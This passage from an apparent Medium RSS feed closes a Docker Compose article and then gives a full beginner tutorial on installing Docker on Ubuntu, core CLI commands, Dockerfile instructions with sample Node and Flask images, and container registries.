./om-compose.sh script that internally leverages Compose to:</p><ul><li>Set up environments (setup, setup-upg)</li><li>Start/stop services</li><li>Upgrade images</li><li>Wipe environments clean</li></ul><p>This shows how Compose can act as a <strong>foundation layer</strong> for higher‑level tooling that developers or consultants use without directly interacting with raw docker compose commands.</p><h3>Bringing It All Together</h3><p>Docker Compose sits at a very useful layer in the container ecosystem:</p><ul><li>Higher‑level than docker run, so you don’t have to remember every flag for every container.</li><li>Lower‑level than orchestration platforms like Kubernetes, making it approachable and quick to adopt.</li></ul><p>From the reviewed sources, the key findings are::</p><ul><li>Define your entire multi‑container application as code in a docker-compose.yml / compose.yaml file.</li><li>Use build, image, environment, ports, volumes, depends_on, and networks to capture all the wiring between services.</li><li>Manage the application lifecycle with a small set of commands: docker compose build, up, down, ps, logs, start, stop, exec, and run.</li><li>Apply Compose to real‑world problems: full‑stack web apps, microservices, scientific workflows, and enterprise development environments.</li></ul><p>Once you’re comfortable with Compose, concepts like networking, security hardening, and large‑scale orchestration become much easier to grasp, because the mental model of “services, networks, and volumes” carries over to tools like Docker Swarm and Kubernetes.</p><h3>What’s Next</h3><p>In the next article, the focus will be on <strong>Docker networking, security, and orchestration</strong> — diving deeper into how containers talk to each other, how to secure them, and how to manage them at scale with tools like Docker Swarm and Kubernetes.</p><p>If this breakdown of Docker Compose was helpful, keep following my Medium articles so you don’t miss the upcoming deep dives into:</p><ul><li>Docker networking (bridge, host, overlay, and more)</li><li>Security best practices for images, containers, and the Docker daemon</li><li>Orchestration patterns with Docker Swarm and beyond</li></ul><h3>References</h3><ol><li>Docker Inc. “Docker Compose.” Official documentation overview. Available at: <a href="https://docs.docker.com/compose/">https://docs.docker.com/compose/</a>​</li><li>Docker Inc. “Docker Compose Quickstart.” Hands‑on tutorial for defining and running multi‑container applications. Available at: <a href="https://docs.docker.com/compose/gettingstarted/">https://docs.docker.com/compose/gettingstarted/</a></li><li>Docker Inc. “Docker Compose file reference.” Detailed reference for docker-compose.yml / compose.yaml keys and options. Available at: <a href="https://docs.docker.com/reference/compose-file/">https://docs.docker.com/reference/compose-file/</a>​</li><li>Compose Specification. “Docker Compose Specification.” Formal spec for the Compose file format, maintained by the community. Available at: <a href="https://www.compose-spec.io/">https://www.compose-spec.io</a>[<a href="https://www.compose-spec.io/">compose-spec</a>]​</li><li>compose‑spec project. “The Compose specification (spec.md).” GitHub repository with the full YAML schema and semantics. Available at: <a href="https://github.com/compose-spec/compose-spec/blob/main/spec.md">https://github.com/compose-spec/compose-spec/blob/main/spec.md</a>[<a href="https://github.com/compose-spec/compose-spec/blob/main/spec.md">github</a>]​</li><li>Docker Inc. “docker compose — command‑line reference.” Full CLI reference for docker compose (build, up, down, ps, logs, etc.). Available at: <a href="https://docs.docker.com/reference/cli/docker/compose/">https://docs.docker.com/reference/cli/docker/compose/</a></li><li>Docker. “Using Docker Compose — Getting Started Tutorial.” Example full‑stack app defined with Compose, including services, networks, and volumes. Available at: <a href="https://github.com/docker/getting-started/blob/master/docs/tutorial/using-docker-compose/index.md">https://github.com/docker/getting-started/blob/master/docs/tutorial/using-docker-compose/index.md</a></li><li>Docker. “docker/compose.” Official GitHub repository for Docker Compose. Available at: <a href="https://github.com/docker/compose">https://github.com/docker/compose</a></li><li>Better Stack. “A Beginner’s Guide to Docker Compose.” Community guide explaining structure, commands, and best practices. Available at: <a href="https://betterstack.com/community/guides/scaling-docker/docker-compose-getting-started/">https://betterstack.com/community/guides/scaling-docker/docker-compose-getting-started/</a></li><li>IBM. “Docker Compose commands reference.” Example of enterprise use of Compose under higher‑level scripts. Available at: <a href="https://www.ibm.com/docs/en/order-management-sw/10.0.0?topic=environment-docker-compose-commands-reference">https://www.ibm.com/docs/en/order-management-sw/10.0.0?topic=environment-docker-compose-commands-reference</a></li><li>Krefting, D. et al. “Using Docker Compose for the Simple Deployment of an Integrated Drug Target Screening Platform.” Demonstrates real‑world scientific use of Docker Compose. Available at: <a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC6042832/">https://pmc.ncbi.nlm.nih.gov/articles/PMC6042832/</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c76811010131" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Docker: A Step-by-Step Guide to Images, Containers, and Setup]]></title>
            <link>https://medium.com/@adriansyah1230/docker-a-step-by-step-guide-to-images-containers-and-setup-336a8be3e1ce?source=rss-bde419e52529------2</link>
            <guid isPermaLink="false">https://medium.com/p/336a8be3e1ce</guid>
            <category><![CDATA[dockerhub]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[dockerfiles]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[docker-image]]></category>
            <dc:creator><![CDATA[Adrian Syah Abidin]]></dc:creator>
            <pubDate>Sat, 07 Feb 2026 08:18:15 GMT</pubDate>
            <atom:updated>2026-02-07T08:18:15.715Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zkiLG4Ly12eShmAAS2eiHg.png" /></figure><h3>Practical Docker: Setup, Core Commands, Images, and Docker Hub</h3><p>Containers are now a standard part of the modern DevOps toolkit. But to make Docker truly useful in real projects, you need more than “hello-world” — you need a solid grasp of how to set it up, how to control it via the CLI, and how images and registries like Docker Hub fit into your workflow.</p><p>This article walks through:</p><ol><li>Docker setup (with commands)</li><li>Everyday Docker commands (with commands and options)</li><li>Docker images &amp; Docker Hub (including Dockerfile basics and registries)</li></ol><p>At the end, there’s a brief look ahead to what’s coming next in this series.</p><h3>1. Docker Setup (With Commands)</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fb0HMimUb4f0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Db0HMimUb4f0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fb0HMimUb4f0%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/54be2c90a278b705431e18835de5418e/href">https://medium.com/media/54be2c90a278b705431e18835de5418e/href</a></iframe><p>Docker can run on:</p><ul><li><strong>Linux</strong> — via Docker Engine (e.g., Ubuntu, CentOS, Fedora).</li><li><strong>Windows</strong> — via Docker Desktop.</li><li><strong>macOS</strong> — via Docker Desktop (or alternatives like Podman under the hood).</li></ul><p>For real-world backend and DevOps work, <strong>Linux (Ubuntu Server)</strong> is a very common target. Let’s focus on a clean, reproducible installation path using the official Docker repository.</p><h3>1.1. Install Docker on Ubuntu Server</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fcqbh-RneBlk%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dcqbh-RneBlk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fcqbh-RneBlk%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/2fd45cc603f451b7bd9974345eda8cd5/href">https://medium.com/media/2fd45cc603f451b7bd9974345eda8cd5/href</a></iframe><p>The recommended approach on Ubuntu is:</p><ul><li>Add Docker’s official GPG key.</li><li>Add the Docker APT repository.</li><li>Install Docker Engine and the CLI.</li></ul><h3>Step 1: Update APT and install prerequisites</h3><pre>sudo apt-get update<br>sudo apt-get install ca-certificates curl</pre><p>These packages let APT verify HTTPS repositories and fetch Docker’s GPG key.</p><h3>Step 2: Add Docker’s official GPG key</h3><pre>sudo install -m 0755 -d /etc/apt/keyrings<br>sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc<br>sudo chmod a+r /etc/apt/keyrings/docker.asc</pre><ul><li>/etc/apt/keyrings is where trusted keys are stored.</li><li>docker.asc is the GPG key used to verify packages from Docker’s repo.</li></ul><h3>Step 3: Add the Docker repository</h3><pre>echo \<br>  &quot;deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \<br>  $(. /etc/os-release &amp;&amp; echo &quot;$VERSION_CODENAME&quot;) stable&quot; | \<br>  sudo tee /etc/apt/sources.list.d/docker.list &gt; /dev/null</pre><pre>sudo apt-get update</pre><p>This registers Docker’s official repo for your Ubuntu version, then refreshes APT indexes.</p><h3>Step 4: Install Docker Engine and tools</h3><pre>sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin</pre><p>This installs:</p><ul><li>docker-ce – Docker Community Edition (the engine).</li><li>docker-ce-cli – the Docker CLI.</li><li>containerd.io – container runtime used by Docker.</li><li>docker-buildx-plugin – extended build capabilities.</li><li>docker-compose-plugin – Compose v2 integration (docker compose).</li></ul><h3>Step 5: Verify the Docker installation</h3><pre>docker --version<br># Example output:<br># Docker version 27.2.0, build 3ab4256</pre><p>If your version shows up without errors, Docker is installed.</p><h3>Step 6: Sanity check with hello-world</h3><p>Run a simple container to confirm that the daemon and networking are working:</p><pre>sudo docker run hello-world</pre><p>If everything is configured correctly, the container prints a message describing how Docker pulled the hello-world image, created a container, ran it, and then exited. This is a good first validation that:</p><ul><li>Docker can <strong>pull images</strong> from Docker Hub.</li><li>Docker can <strong>run containers</strong>.</li><li>The <strong>daemon</strong> and <strong>CLI</strong> are correctly wired.</li></ul><blockquote><em>On </em><strong><em>Windows</em></strong><em> and </em><strong><em>macOS</em></strong><em>, you’ll typically install </em><strong><em>Docker Desktop</em></strong><em> via the official installers:</em></blockquote><blockquote><a href="https://docs.docker.com/get-started/introduction/get-docker-desktop/">https://docs.docker.com/get-started/introduction/get-docker-desktop/</a></blockquote><h3>2. Docker Commands (With Commands)</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FxGn7cFR3ARU%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DxGn7cFR3ARU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FxGn7cFR3ARU%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e7de1758899cc81ba2ff48bc640ce58e/href">https://medium.com/media/e7de1758899cc81ba2ff48bc640ce58e/href</a></iframe><p>Once Docker is installed, the <strong>CLI</strong> (docker) becomes your primary interface to build, run, inspect, and clean up containers and images.</p><p>Conceptually, the workflow looks like this:</p><p><strong>Client</strong>:</p><ul><li>docker build – build images from Dockerfiles.</li><li>docker pull – download images from registries.</li><li>docker run – run containers from images.</li></ul><p><strong>Docker Host</strong>:</p><ul><li>Docker daemon manages <strong>containers</strong> and <strong>images</strong>.</li></ul><p><strong>Registry</strong>:</p><ul><li>Stores images (e.g., Ubuntu, Redis, NGINX) for pull/push.</li></ul><p>Let’s go through the core commands and options you’ll use daily.</p><h3>2.1. Running Containers: docker run</h3><p>General syntax:</p><pre>docker run [OPTIONS] IMAGE [COMMAND] [ARG...]</pre><p>Common options:</p><ul><li>-d / --detach – run the container in the background (detached mode).</li><li>-p host_port:container_port – publish a container port on the host.</li><li>--name mycontainer – give the container a human-friendly name.</li></ul><p>Example:</p><pre>docker run -d -p 8000:80 nginx</pre><p>Meaning:</p><ul><li>Start an NGINX container in the background.</li><li>Map <strong>container port 80</strong> to <strong>host port 8000</strong>.</li><li>After this, http://localhost:8000 serves NGINX from inside the container.</li></ul><p>Another example with localhost binding:</p><pre>docker run -p 127.0.0.1:8000:8000 myhello:latest</pre><p>This binds the container’s port 8000 to host port 8000, but only on 127.0.0.1 (loopback).</p><h3>2.2. Listing Containers: docker ps</h3><p>To see which containers are running:</p><pre>docker ps</pre><p>To see <em>all</em> containers (running or stopped):</p><pre>docker ps -a</pre><p>You’ll see columns like CONTAINER ID, IMAGE, STATUS, PORTS, and NAMES. This is your main view into what’s currently on the host.</p><h3>2.3. Executing Commands Inside Containers: docker exec</h3><p>When you want to “SSH into” a running container:</p><pre>docker exec [OPTIONS] CONTAINER COMMAND [ARG...]</pre><p>Useful options:</p><ul><li>-i / --interactive – keep STDIN open.</li><li>-t / --tty – allocate a pseudo-TTY.</li><li>--detach – run in the background.</li></ul><p>Example:</p><pre>docker exec -it mycontainer /bin/bash</pre><p>This opens an interactive Bash shell inside the container mycontainer. For minimal images (like Alpine), you might use sh instead of bash:</p><pre>docker exec -it mycontainer sh</pre><h3>2.4. Viewing Logs: docker logs</h3><p>To inspect the logs of a container:</p><pre>docker logs &lt;container-name-or-id&gt;</pre><p>Common options:</p><ul><li>-f / --follow – stream logs in real time (like tail -f).</li><li>--tail N – show only the last N lines.</li></ul><p>Example:</p><pre>docker logs -f --tail 100 mycontainer</pre><p>Real-world sample (MySQL container):</p><pre>sudo docker ps<br># ... shows containers ...</pre><pre>sudo docker logs ebebb5c7ae0d<br># [Entrypoint] MySQL Docker Image 8.0.29-1.2.8-server<br># [Entrypoint] No password option specified for new database.<br># ...</pre><p>Logs are critical when debugging app behavior inside containers.</p><h3>2.5. Stopping, Killing, and Removing Containers</h3><h3>Stop (graceful):</h3><pre>docker stop &lt;container-name-or-id&gt;</pre><ul><li>Sends a signal to allow the container to shut down cleanly within a timeout.</li><li>If it doesn’t exit in time, Docker escalates to kill.</li></ul><h3>Kill (force):</h3><pre>docker kill &lt;container-name-or-id&gt;</pre><ul><li>Immediately terminates the container without a graceful shutdown.</li></ul><h3>Remove containers:</h3><pre>docker rm &lt;container-name-or-id&gt;</pre><ul><li>Typically run after stopping a container if you no longer need it.</li></ul><h3>2.6. Inspecting Resource Usage: docker stats</h3><p>To monitor CPU, memory, network, and I/O usage per container:</p><pre>docker stats</pre><p>This shows live metrics useful for troubleshooting performance issues or capacity planning.</p><h3>2.7. Working with Images: Listing, Pulling, Pushing</h3><h3>List images: docker images / docker image ls</h3><pre>docker images<br># or<br>docker image ls</pre><p>Shows all images available locally.</p><h3>Pull images: docker pull / docker image pull</h3><pre>docker pull ubuntu:latest<br># or<br>docker image pull ubuntu:latest</pre><p>Downloads an image from a registry (Docker Hub by default).</p><h3>Push images: docker push</h3><p>Once you’ve built and tagged an image:</p><pre>docker push myrepo/myimage:tag</pre><ul><li>Requires that you’re authenticated (docker login).</li><li>Pushes your local image to the configured registry.</li></ul><h3>2.8. Building and Tagging Images: docker build, docker tag</h3><h3>Build from a Dockerfile:</h3><pre>docker build -t myimage:latest .</pre><ul><li>-t myimage:latest – names the image myimage with tag latest.</li><li>. – uses the current directory as the build context.</li></ul><p>If you want to specify a custom Dockerfile name:</p><pre>sudo docker build -f &lt;dockerfile-file-name&gt; -t myimage:latest .</pre><h3>Tag an existing image:</h3><pre>docker tag myimage:latest myrepo/myimage:v1.0</pre><p>This creates a new tag pointing to the same underlying image. Useful before pushing to registries.</p><h3>2.9. Inspecting Images and Containers</h3><h3>Detailed inspection: docker inspect</h3><pre>docker inspect myimage:latest<br># or<br>docker image inspect myimage:latest</pre><p>Shows low-level JSON with configuration, layers, environment variables, mount points, networks, etc.</p><h3>History of an image: docker history</h3><pre>docker history ubuntu:latest</pre><p>Displays the layer history and sizes that make up the image.</p><h3>2.10. Searching and Cleaning Up Images</h3><h3>Search images on Docker Hub: docker search</h3><pre>docker search ubuntu</pre><p>Lists images available on Docker Hub that match ubuntu.</p><h3>Prune unused images: docker image prune</h3><pre>docker image prune</pre><p>Removes dangling/unreferenced images and helps reclaim disk space.</p><h3>Remove specific images: docker rmi / docker image rm</h3><pre>docker rmi myimage:latest<br># or<br>docker image rm myimage:latest</pre><p>Deletes the specified image (if no running/depending containers).</p><h3>3. Docker Images &amp; Docker Hub (With Commands)</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FC-bX86AgyiA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DC-bX86AgyiA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FC-bX86AgyiA%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5930b1e396933bb362ef237e43e77187/href">https://medium.com/media/5930b1e396933bb362ef237e43e77187/href</a></iframe><p>Docker’s power comes from <strong>images</strong>: portable, layered, read-only templates that define everything your application needs to run. Combined with Docker Hub and other registries, images become the unit of distribution in a containerized world.</p><h3>3.1. What Is a Docker Image?</h3><p>A <strong>Docker image</strong> is:</p><ul><li><strong>Read-only</strong> — it defines what goes into the filesystem and how the container starts.</li><li>Built from a <strong>Dockerfile</strong>, which is a text file describing how to assemble the image.</li><li>Composed of <strong>layers</strong> — each Dockerfile instruction adds another layer on top of the previous.</li></ul><p>When you modify a Dockerfile and rebuild:</p><ul><li>Only changed layers (and those after them) are rebuilt.</li><li>Unchanged layers are reused from cache, making builds faster and images smaller.</li></ul><p>Common image examples:</p><ul><li>ubuntu:22.04 – base OS for general workloads.</li><li>node:18-alpine – minimal Node.js environment.</li><li>mysql:8 – database image.</li><li>nginx:latest – web server image.</li></ul><h3>3.2. Dockerfile Basics: How Images Are Defined</h3><p>A <strong>Dockerfile</strong> is a text document containing all commands needed to build an image. Docker processes it line by line, creating layers.</p><p>Below are the core Dockerfile instructions and how they’re used.</p><h3>FROM</h3><p>Specifies the <strong>base image</strong>. Every Dockerfile must start with FROM (except special “scratch” cases).</p><pre>FROM alpine:latest</pre><ul><li>alpine is a minimal image (~5 MB), great for lightweight workloads.</li><li>Alternatively: FROM ubuntu:22.04, FROM node:18-alpine, etc.</li></ul><h3>RUN</h3><p>Executes commands at <strong>build time</strong> inside the image:</p><ul><li>Install packages,</li><li>Create directories,</li><li>Install dependencies, etc.</li></ul><p>Example:</p><pre>RUN yarn install</pre><p>Another example (from a Python/Flask image):</p><pre>RUN apt-get update &amp;&amp; apt-get install -y python3 python3-pip<br>RUN pip install flask==3.0.*</pre><p>Each RUN creates a new layer.</p><h3>ENV</h3><p>Defines environment variables inside the image:</p><pre>ENV MYSQL_VERSION 8.0.15-1debian9</pre><p>These become part of the container’s environment at runtime and are available to processes inside.</p><h3>COPY</h3><p>Copies files or directories from the <strong>build context</strong> (host) into the image:</p><pre>COPY ./node_modules /app/node_modules</pre><p>Or, from the Flask example:</p><pre>COPY hello.py /</pre><p>Use COPY when you just need to bring local files into the image without extra behavior.</p><h3>ADD</h3><p>Similar to COPY, but with extra features:</p><ul><li>Can <strong>unpack compressed archives</strong> (e.g., .tar).</li><li>Can fetch from <strong>URLs</strong>.</li></ul><p>Example:</p><pre>ADD ./codes /var/www/html/codes</pre><p>Because ADD has more magic (unpack, remote URL), many best-practice guides recommend using COPY by default and reserving ADD for when you need those specific capabilities.</p><h3>WORKDIR</h3><p>Sets the <strong>working directory</strong> for subsequent instructions:</p><pre>WORKDIR /app</pre><p>After this:</p><ul><li>RUN, CMD, ENTRYPOINT, COPY, and ADD will use /app as their default working directory (unless overridden).</li></ul><h3>ENTRYPOINT</h3><p>Defines the <strong>main command</strong> of the container and how arguments are handled. Often used to set up a fixed command with flexible arguments:</p><pre>ENTRYPOINT [&quot;docker-entrypoint.sh&quot;]</pre><p>Key behavior:</p><ul><li>ENTRYPOINT commands <strong>always run</strong> when the container starts.</li><li>When you provide commands at docker run, they become <strong>arguments</strong> to the entrypoint.</li></ul><h3>CMD</h3><p>Provides <strong>default arguments or commands</strong> to run when the container starts — used if no other command is supplied at docker run:</p><pre>CMD [&quot;npm&quot;, &quot;start&quot;, &quot;bin/app.js&quot;]</pre><p>Difference from ENTRYPOINT:</p><ul><li>CMD is the <strong>default</strong> command and can be <strong>overridden</strong> by specifying a command at docker run.</li><li>ENTRYPOINT defines the primary executable; it does <strong>not</strong> get ignored when you specify extra arguments. Instead, extra arguments are passed to the entrypoint command.</li></ul><p>A common pattern:</p><pre>ENTRYPOINT [&quot;node&quot;]<br>CMD [&quot;src/index.js&quot;]</pre><p>Running docker run myimage executes node src/index.js. Running docker run myimage another.js executes node another.js.</p><h3>EXPOSE</h3><p>Documents which port(s) the container listens on:</p><pre>EXPOSE 3000</pre><ul><li>Does <strong>not</strong> publish the port to the host.</li><li>Acts as documentation and can be used by tooling.</li><li>Ports are actually published with docker run -p ....</li></ul><p>From the Flask example:</p><pre>EXPOSE 8000</pre><p>The app will listen on port 8000 inside the container.</p><h3>VOLUME</h3><p>Declares a mount point that can be used for persistent or shared data:</p><pre>VOLUME /var/lib/mysql</pre><p>This indicates that /var/lib/mysql is a data directory that should persist beyond the lifecycle of any single container.</p><p>Changes in the volume:</p><ul><li>Remain even if the container is removed.</li><li>Can be mounted from the host for backup or inspection.</li></ul><h3>LABEL</h3><p>Adds metadata to the image, such as maintainer information, version, or usage hints:</p><pre>LABEL maintainer=&quot;John Doe&quot;</pre><p>These labels can be inspected later with docker inspect.</p><h3>ARG</h3><p>Defines <strong>build-time arguments</strong> (only available during docker build):</p><pre>ARG WELCOME_USER=Collabnix</pre><p>Key differences from ENV:</p><ul><li>ARG exists <strong>only during the build</strong>. It’s not available in the final container unless explicitly copied into ENV.</li><li>ENV persists in the built image and is present at runtime inside the container.</li></ul><p>You can pass build args at build time:</p><pre>docker build --build-arg WELCOME_USER=Alice -t myimage:latest .</pre><h3>3.3. Complete Dockerfile Examples</h3><h3>Example 1: Simple Node.js app</h3><pre>FROM node:14-alpine3.16</pre><pre>WORKDIR /app</pre><pre>COPY . .</pre><pre>RUN npm install</pre><pre>CMD [ &quot;npm&quot;, &quot;start&quot; ]</pre><ul><li>Uses a lightweight Node base image.</li><li>Copies app code into /app.</li><li>Installs dependencies via npm install.</li><li>Starts the app with npm start.</li></ul><h3>Example 2: Python Flask app on Ubuntu</h3><pre># syntax=docker/dockerfile:1<br>FROM ubuntu:22.04</pre><pre># install app dependencies<br>RUN apt-get update &amp;&amp; apt-get install -y python3 python3-pip<br>RUN pip install flask==3.0.*</pre><pre># install app<br>COPY hello.py /</pre><pre># final configuration<br>ENV FLASK_APP=hello<br>EXPOSE 8000<br>CMD [&quot;flask&quot;, &quot;run&quot;, &quot;--host&quot;, &quot;0.0.0.0&quot;, &quot;--port&quot;, &quot;8000&quot;]</pre><p>And hello.py:</p><pre>from flask import Flask<br>app = Flask(__name__)<br><br>@app.route(&quot;/&quot;)<br>def hello():<br>    return &quot;Hello World!&quot;</pre><p>This image will, when run, start a Flask server listening on port 8000.</p><h3>Example 3: Node.js app (workshop example)</h3><pre># syntax=docker/dockerfile:1<br>FROM node:18-alpine<br>WORKDIR /app<br>COPY . .<br>RUN yarn install --production<br>CMD [&quot;node&quot;, &quot;src/index.js&quot;]<br>EXPOSE 3000</pre><ul><li>Uses node:18-alpine.</li><li>Installs production dependencies with yarn install --production.</li><li>Runs the app via node src/index.js on port 3000.</li></ul><h3>3.4. Building Images from Dockerfiles</h3><p>Once your Dockerfile is ready, build it into an image:</p><pre>sudo docker build -f &lt;dockerfile-file-name&gt; -t myimage:latest .</pre><p>Then verify:</p><pre>sudo docker images</pre><p>You should see myimage in the list.</p><p>From here, you can:</p><pre>docker run -d -p 8000:8000 myimage:latest</pre><p>or adjust ports as needed.</p><h3>3.5. Docker Hub and Other Registries</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FmAzHELZWE-Y%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DmAzHELZWE-Y&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FmAzHELZWE-Y%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3ccef2949e8bd463a4ac7f469c340595/href">https://medium.com/media/3ccef2949e8bd463a4ac7f469c340595/href</a></iframe><p>A <strong>Docker registry</strong> stores Docker images. Docker Hub is the default public registry:</p><ul><li><a href="https://hub.docker.com/">https://hub.docker.com</a></li></ul><p>When you do:</p><pre>docker pull ubuntu:latest<br>docker run nginx</pre><p>Docker:</p><ul><li>Checks if the image exists locally.</li><li>If not, pulls it from the configured registry (by default, Docker Hub).</li></ul><p>When you do:</p><pre>docker push myrepo/myimage:tag</pre><p>Docker uploads your image layers to the registry.</p><p>Besides Docker Hub, many cloud providers offer their own registries (public or private):</p><ol><li><strong>Amazon Elastic Container Registry (ECR)</strong></li><li><strong>Google Container Registry (GCR)</strong> (or Artifact Registry)</li><li><strong>Azure Container Registry (ACR)</strong></li><li><strong>Alibaba Cloud Container Registry (ACR)</strong></li><li><strong>Harbor</strong> (open-source, often self-hosted)</li></ol><p>Using private registries gives you:</p><ul><li>Access control and authentication.</li><li>Integration with cloud-specific tooling.</li><li>Secure internal image distribution.</li></ul><h3>3.6. Bonus: From Single Containers to Multi-Container Apps with Docker Compose</h3><p>While this article focuses on setup, commands, and images, there’s a natural next step once your application grows beyond a single container.</p><p>Running one image with docker run is fine for simple cases. But real-world apps usually have multiple components:</p><ul><li>Frontend,</li><li>Backend,</li><li>Database,</li><li>Cache, etc.</li></ul><p>Starting each with separate docker run commands quickly becomes painful. <strong>Docker Compose</strong> solves this by letting you define a <strong>multi-container application</strong> in a single YAML file.</p><h3>Key Docker Compose Concepts</h3><p>A typical docker-compose.yml (or compose.yaml) is structured around these keys:</p><p>version</p><ul><li>Specifies the Compose file format version (e.g., &quot;3.8&quot;).</li><li>Each version unlocks certain features documented in the official docs.</li></ul><p>services</p><ul><li>Defines each component of your app: e.g., frontend, backend, db.</li><li>Each service gets its own configuration: image, build context, ports, environment, volumes, etc.</li></ul><p>build</p><ul><li>Tells Compose where to find the Dockerfile for building the image.</li><li>If the image is not available locally, Compose uses build to create it.</li><li>Example: build: . when the Dockerfile is in the same directory as the compose file.</li></ul><p>image</p><ul><li>Specifies the image name to use for the service.</li><li>If the image is not found locally:</li><li>Compose checks build to build it.</li><li>If no build is present, it tries to pull it from a registry like Docker Hub.</li></ul><p>environment</p><ul><li>Defines env variables (similar to .env files).</li><li>Contains key-value pairs used by the containers.</li></ul><p>ports</p><ul><li>Maps container ports to host ports: &quot;host_port:container_port&quot;.</li><li>Example: &quot;1234:5432&quot; to expose container port 5432 (e.g., PostgreSQL) on host port 1234.</li></ul><p>volumes</p><ul><li>Defines volume mounts between host and container for data persistence and live code sync.</li><li>Example: &quot;./html:/var/www/html&quot; to sync local ./html with the container’s /var/www/html.</li></ul><p>links</p><ul><li>Links one service to another (older style; modern setups often use networks and service discovery).</li><li>For example, a backend service might link to a db service, allowing it to resolve the DB by service name.</li></ul><p>depends_on</p><ul><li>Defines startup order dependencies between services.</li><li>Example: backend depends on db, so Compose will start db before backend.</li></ul><p>networks</p><ul><li>Defines custom networks connecting services.</li><li>Because containers are isolated by default, networks (often using the bridge driver) allow services to communicate securely.</li></ul><p>Core Docker Compose features:</p><ul><li>Manages <strong>multiple containers</strong> on a single host.</li><li>Automatically sets up <strong>networks</strong> and can manage <strong>volumes</strong>.</li><li><strong>Only rebuilds</strong> containers that changed.</li><li>Keeps configuration in <strong>one YAML file</strong>, making it easy to share and version.</li><li>Provides <strong>isolation</strong> between services while still allowing controlled communication.</li></ul><p>In practice, you’ll use commands like:</p><pre>docker compose up -d<br>docker compose down</pre><p>to bring the entire stack up and down with one command.</p><h3>Wrapping Up (and What’s Next)</h3><p>In this article, you’ve seen:</p><p>How to <strong>install Docker</strong> on Ubuntu using the official repository, including GPG keys and the Docker Engine packages.</p><p>The essential <strong>Docker commands</strong>:</p><ul><li>docker run, docker ps, docker exec, docker logs, docker stop, docker kill, docker stats,</li><li>docker images, docker pull, docker push, docker build, docker tag, docker rm, docker rmi,</li><li>docker inspect, docker history, docker search, docker image prune, and related aliases.</li></ul><p>How <strong>Docker images</strong> are built from <strong>Dockerfiles</strong>, including detailed explanations of:</p><ul><li>FROM, RUN, ENV, COPY, ADD, WORKDIR, ENTRYPOINT, CMD, EXPOSE, VOLUME, LABEL, and ARG.</li></ul><p>How <strong>Docker Hub</strong> and other registries (ECR, GCR, ACR, Harbor, etc.) fit into building, sharing, and deploying images.</p><p>A preview of how <strong>Docker Compose</strong> helps manage multi-container applications from a single YAML file.</p><p>In the <strong>next article</strong>, the focus will move beyond single hosts and basic setups:</p><blockquote><em>We’ll discuss </em><strong><em>Docker networking</em></strong><em>, </em><strong><em>container security best practices</em></strong><em>, and an introduction to </em><strong><em>orchestration</em></strong><em> (how to run and manage containers at scale).</em></blockquote><p>Don’t forget to keep following my Medium articles so you don’t miss the next deep dive into Docker Networking, Security, and Orchestration.</p><h3>References</h3><ol><li>Docker Inc. “Install Docker Engine on Ubuntu.” Docker Documentation, 2026. Available at: <a href="https://docs.docker.com/engine/install/ubuntu/">https://docs.docker.com/engine/install/ubuntu/</a></li><li>Docker Inc. “Docker Engine installation overview.” Docker Documentation, 2025. Available at: <a href="https://docs.docker.com/engine/install/">https://docs.docker.com/engine/install/</a></li><li>Docker Inc. “Docker Engine: Install using the repository (Ubuntu).” In: “Install Docker Engine on Ubuntu.” Docker Documentation, 2026. Available at: <a href="https://docs.docker.com/engine/install/ubuntu/">https://docs.docker.com/engine/install/ubuntu/</a></li><li>Docker Inc. “Docker Desktop: Get Docker.” Docker Documentation, 2026. Available at: <a 